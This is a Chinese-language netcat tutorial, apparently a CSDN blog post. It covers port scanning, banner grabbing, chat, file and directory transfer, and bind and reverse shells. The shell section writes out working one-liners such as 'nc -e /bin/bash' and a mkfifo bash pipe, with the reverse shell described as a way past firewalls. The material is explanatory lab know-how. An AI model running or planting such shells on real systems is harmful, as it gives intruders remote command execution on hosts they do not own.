简介
netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。
各种版本的netcat
netcat有非常多的版本,刚开始我自己也很混乱,因为各个版本的netcat使用方法和参数都不太一样。这里列举下我现在实验环境中的几个版本。
case1
Kail Linux自带的nc工具,版本是v1.10-41+b1。
这个版本支持-e参数。
man nc
case2
CentOS 6.4自带的nc工具,是BSD General版本的。
这个版本不支持-e参数。
用man命令查看,man nc。
case3
源码安装了GNU netcat版本,源码地址是http://netcat.sourceforge.net/
这个版本支持-e参数。
总结
之前看网上资料,有按照netcat-openbsd版本和netcat-traditional版本来区分,但是我也没找到这两个所谓版本的源头或者官方网址。但是无论如何,netcat各个版本大同小异,主要还是要自己看一下你的机子上的netcat的使用参数。
nc -h 看简易参数介绍
man nc 看详细使用手册
netcat能干啥?
下面进入正题,介绍netcat一些牛叉的功能。
端口扫描
基本用法
nc -z -v -n 127.0.0.1 21-25
可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.
-z 参数告诉netcat使用0 IO,连接成功后立即关闭连接,不进行数据交换
-v 参数指使用冗余选项,即详细输出
-n 参数告诉netcat不使用DNS解析,即仅仅是一串IP数字,一般如果后面是跟IP数字的话,就带上-n参数;跟着是域名的话,就不带-n参数。
这个命令会打印21到25所有开放的端口。
Banner是一个文本,Banner是一个你连接的服务发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候,Banner信息是非常有用的。但是,并不是所有的服务都会发送banner。
一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。
nc -v 127.0.0.1 22
netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。
聊天服务
假如你想和你的朋友聊聊,有很多的软件和信息服务可以供你使用。但是,如果你没有这么奢侈的配置,比如你在计算机实验室,所有的对外的连接都是被限制的,你怎样和整天坐在隔壁房间的朋友沟通那?不要郁闷了,netcat提供了这样一种方法,你只需要创建一个聊天服务器,一个预先确定好的端口,这样子他就可以联系到你了。
Server
nc -l -p 20000
有的nc版本不需要-p参数,具体请看各个版本nc的参数介绍
nc -l 20000
Client
nc -n 192.168.71.131 20000
netcat在Server的20000端口启动了一个tcp服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。
文件传输
大部分时间中,我们都在试图通过网络或者其他工具传输文件。有很多种方法,比如FTP,SCP,SMB等等,但是当你只是需要临时或者一次传输文件,真的值得浪费时间来安装配置一个软件到你的机器上嘛。假设,你想要传一个文件a.txt 从A 到B。A或者B都可以作为服务器或者客户端。
这里实验环境:
A ip:192.168.71.131
B ip:192.168.71.130
Case1:以下,让A作为服务器,B为客户端。
这里我们创建了一个服务器在Server A上并且重定向netcat的输入为文件a.txt,那么当任何成功连接到该端口,netcat会发送a.txt的文件内容。
在客户端Client B我们重定向输出到a.txt,当Client B连接到Server A,Server A发送文件内容,Client B保存文件内容到a.txt。
Case2:同样,也可以让A作为客户端,B作为服务器。
在Server B上(-l参数监听TCP)
nc -l -p 20000 > a.txt
然后再Client A上
nc -n 192.168.71.130 20000 < a.txt
总结:nc用在文件传输或者目录传输上,传一些简单的,小的文件比较靠谱,传输大文件还是用其他工具把。因为nc传输结束后,没有任何提示,也就是说,我们无法看出文件是否传输结束。
目录传输
和文件传输类似,只是加上了tar命令的联合使用。
这里,我们还是假设,你想要传一个目录test 从A 到B。
这里实验环境:
A ip:192.168.71.131
B ip:192.168.71.130
Case1:以下,让A作为服务器,B为客户端。
//Server A上
tar -cvf - ./test/ | nc -l -p 20000
这里的减号很重要,代表标准输出流。
//Client B上
nc -n 192.168.71.131 20000 | tar -xvf -
远程shell
可以使用telnet和ssh创建远程shell,netcat为我们提供第三种方式。
这里实验环境:
A ip:192.168.71.131
B ip:192.168.71.130
假设我要在B机器上打开A机器的shell,那么这里把A做为netcat的Server,把B做为netcat的Client。
这里分2种情况
Case1:
假如A机器上的netcat版本支持-e参数(详细见上面第一节的描述)
那么在Server A上运行命令如下:
nc -l -p 20000 -e /bin/bash
然后在Client B上运行命令如下:
nc -n 192.168.71.131 20000
然后在Client B上就可以执行shell远程命令了,如上图ls出A机器上的目录。
Case2:
假如A机器上的netcat版本不支持-e参数
可以用fifo文件和管道重定向来实现。
在Server A上执行命令如下:
mkfifo ./fifo
cat ./fifo | /bin/bash 2>&1 | nc -l -p 20000 > ./fifo
在Client B上执行命令如下:
nc -n 192.168.71.131 20000
就可以在B机器上执行A的远程shell了。
这里解释下原因,
我们创建了一个fifo文件,然后使用管道把这个fifo文件内容定向到bash 2>&1中(2>&1 是用来重定向标准错误输出和标准输出)。然后管道到netcat 运行的端口20000上。然后,我们再把netcat的输出重定向到fifo文件中。
整个流程就是:
step1:从网络收到的输入写到fifo文件中;
step2:cat命令读取fifo文件并且其内容发送给bash命令;
step3:bash命令进程受到输入并把结果写回到netcat;
step4:netcat通过网络发送输出到client;
至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。
PS:
Case2的情况中,如果/bin/bash 加了-i参数,在B机器上会显示出主机名和用户名,如下
cat ./fifo | /bin/bash -i 2>&1 | nc -l -p 20000 > ./fifo
反向shell
反向shell经常用于绕过防火墙。
这里实验环境:
A ip:192.168.71.131
B ip:192.168.71.130
假设我要在A机器上打开B机器的shell,如果按照正向shell的做法,应该是把A当成netcat的Client,把B当成netcat的Server,在B上用-l参数监听输入的链接。
但是如果防火墙屏蔽了输入,只允许输出,那么这时候就是反向shell发挥作用的时候了。
反向shell的做法是把A当成netcat的Server,把B当成netcat的Client,然后在A上用-l参数监听netcat的链接。
首先在A上执行命令:
nc -l -p 20000
然后在B上执行命令:
nc -n 192.168.71.131 20000 -e /bin/bash
然后在A上执行shell命令就可以了,相当于是B的远程shell了。
结束语
netcat的主要作用就介绍这些,还有一些其它不常用的方法我就不介绍了,可以看这个链接
————————————————
版权声明:本文为CSDN博主「相忘于江湖吧」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/chenj_freedom/article/details/77099909